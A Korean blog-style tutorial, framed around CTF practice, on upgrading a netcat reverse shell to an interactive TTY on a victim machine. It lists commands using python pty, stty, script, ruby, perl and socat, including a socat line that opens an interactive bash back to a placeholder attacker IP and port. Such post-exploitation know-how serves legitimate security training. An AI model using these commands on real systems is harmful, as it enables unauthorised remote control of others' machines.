ReverseShell 수립 후 대화형 TTY로 업그레이드하는 방법

CTF 를 하다보면 다양한 방법으로 공격 대상 머신과 리버스 셸을 수립한 후, 탈취한 유저 권한으로 다음 공격을 진행하는건 매우 흔한 일이다. 필자는 주로 netcat을 이용해 리버스셸을 받는 편인데, 이렇게 수립된 리버스 셸은 일반적으로 로컬 머신에서 사용하는 bash 터미널과는 달리 su
명령어을 실행하면 사용자 스위칭이 불가능하고, 탭을 이용해 자동 완성도 할 수 없고, 이전에 실행한 명령어의 히스토리도 볼 수 없다. 자동 완성이나 명령어 히스토리는 단순히 불편하다 정도로 끝날 수도 있지만, su
명령어가 통하지 않는건 이후 공격 프로세스에 영향을 미치기 때문에 일반적인 bash 셸과 동일한 기능을 실행할 수 있도록 대화형 TTY로 업그레이드할 필요가 있다.
이 글에서는 해외에서 다른 글을 참고, 정리하여 리버스 셸 수립 후 대화형 TTY 로 업그레이드하는 방법에 대해 설명한다.
1. 대화형 TTY로 업그레이드해야 하는 이유
앞선 글에서도 언급했지만, 대화형 TTY로 업그레이드하지 않으면 단순히 불편한 것을 넘어 일부 기능들이 제한될 수 있다.
su
,ssh
같은 명령어는 터미널에서만 실행 가능하다.- 에러 메시지가 출력되지 않는다.
- 탭으로 자동 완성을 할 수 없다.
- 키보드 화살표 위 버튼으로 이전 명령어 히스토리를 볼 수 없다.
su
명령어의 경우, 대화형 TTY 로 업그레이드하지 않은 상태에서 실행하면 su: must be run from a terminal
에러가 발생하며 실행되지 않는다.
2. 대화형 TTY 업그레이드 방법
대화형 TTY 로 업그레이드하기 위해서는 리버스셸을 수립한 피해자 머신의 다른 실행 파일을 필요로 한다. 이에 따라 해당 실행 파일이 피해자 머신에 설치되어 있지 않거나 실행할 수 없다면 해당 파일을 이용한 방법을 사용할 수 없다. 예를 들어 아래 언급한 업그레이드 방법 중 python 을 이용하는 방법을 사용하려면 피해자 머신에 python 이 설치되어 있으며, 실행이 가능한 상태여야 한다. 따라서 피해자 머신의 상태를 감안하여 아래 목록 중 적절한 방법을 선택하자.
2.1 python
피해자 머신에 python 이 설치되어 있다면 아래와 같은 방법을 사용할 수 있다.
# 피해자 머신
python -c 'import pty; pty.spawn("/bin/bash")'
2.2 socat
피해자 머신에 socat 이 설치되어 있다면 아래와 같은 방법을 사용할 수 있다.
# 공격자 머신
socat file:`tty`,raw,echo=0 tcp-listen:{리스닝 Port}
# 피해자 머신
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{공격자 IP}:{공격자 리스닝 Port}
2.3 stty
피해자 머신에 stty 가 설치되어 있다면 아래와 같은 방법을 사용할 수 있다. 피해자 머신과 공격자 머신을 오가며 명령어를 실행해야 해서 앞선 방법보다는 조금 복잡하다.
# 피해자 머신
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# 공격자 머신
$ stty raw -echo
$ fg
# 피해자 머신
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
2.4 /usr/bin/script
피해자 머신에 script 가 설치되어 있다면 아래와 같은 방법을 사용할 수 있다.
# 피해자 머신
/usr/bin/script -qc /bin/bash /dev/nul
2.5 ruby
피해자 머신에 ruby 가 설치되어 있다면 아래와 같은 방법을 사용할 수 있다.
# 피해자 머신
$ ruby -e “exec ‘/bin/bash’”
2.6 perl
피해자 머신에 perl 이 설치되어 있다면 아래와 같은 방법을 사용할 수 있다.
# 피해자 머신
$ perl -e “exec ‘/bin/bash’;”
3. Reference
이 글은 아래와 같은 글들을 참고하여 정리, 작성했다.